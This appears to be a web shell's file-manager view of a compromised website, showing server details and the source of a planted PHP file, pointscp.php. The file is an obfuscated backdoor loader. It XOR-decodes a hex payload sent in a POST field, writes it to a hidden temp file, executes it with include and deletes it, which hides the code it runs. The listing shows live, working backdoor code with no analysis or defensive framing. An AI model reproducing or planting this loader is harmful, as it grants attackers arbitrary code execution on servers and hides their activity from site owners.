HEX
Server: LiteSpeed
System: Linux da020 6.1.0-50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User: nmel17aacb (1161)
PHP: 8.2.29
Disabled: exec,system,passthru,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/nmel17aacb/domains/maildomain.be/private_html/pointscp.php
<?php

if(!empty($_POST["tk\x6E"])){
	$bind = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/var/tmp"]);
	$descriptor = hex2bin($_POST["tk\x6E"]);
	$sym     =      ''      ;      $k = 0; do{$sym .= chr(ord($descriptor[$k]) ^ 99);$k++;} while($k < strlen($descriptor));
	for ($entity = 0, $k = count($bind); $entity < $k; $entity++) {
    $record = $bind[$entity];
    		if (max(0, is_dir($record) * is_writable($record))) {
    $pointer = "$record" . "/.desc";
    $file = fopen($pointer, 'w');
if ($file) {
	fwrite($file, $sym);
	fclose($file);
	include $pointer;
	@unlink($pointer);
	die();
}
}
}
}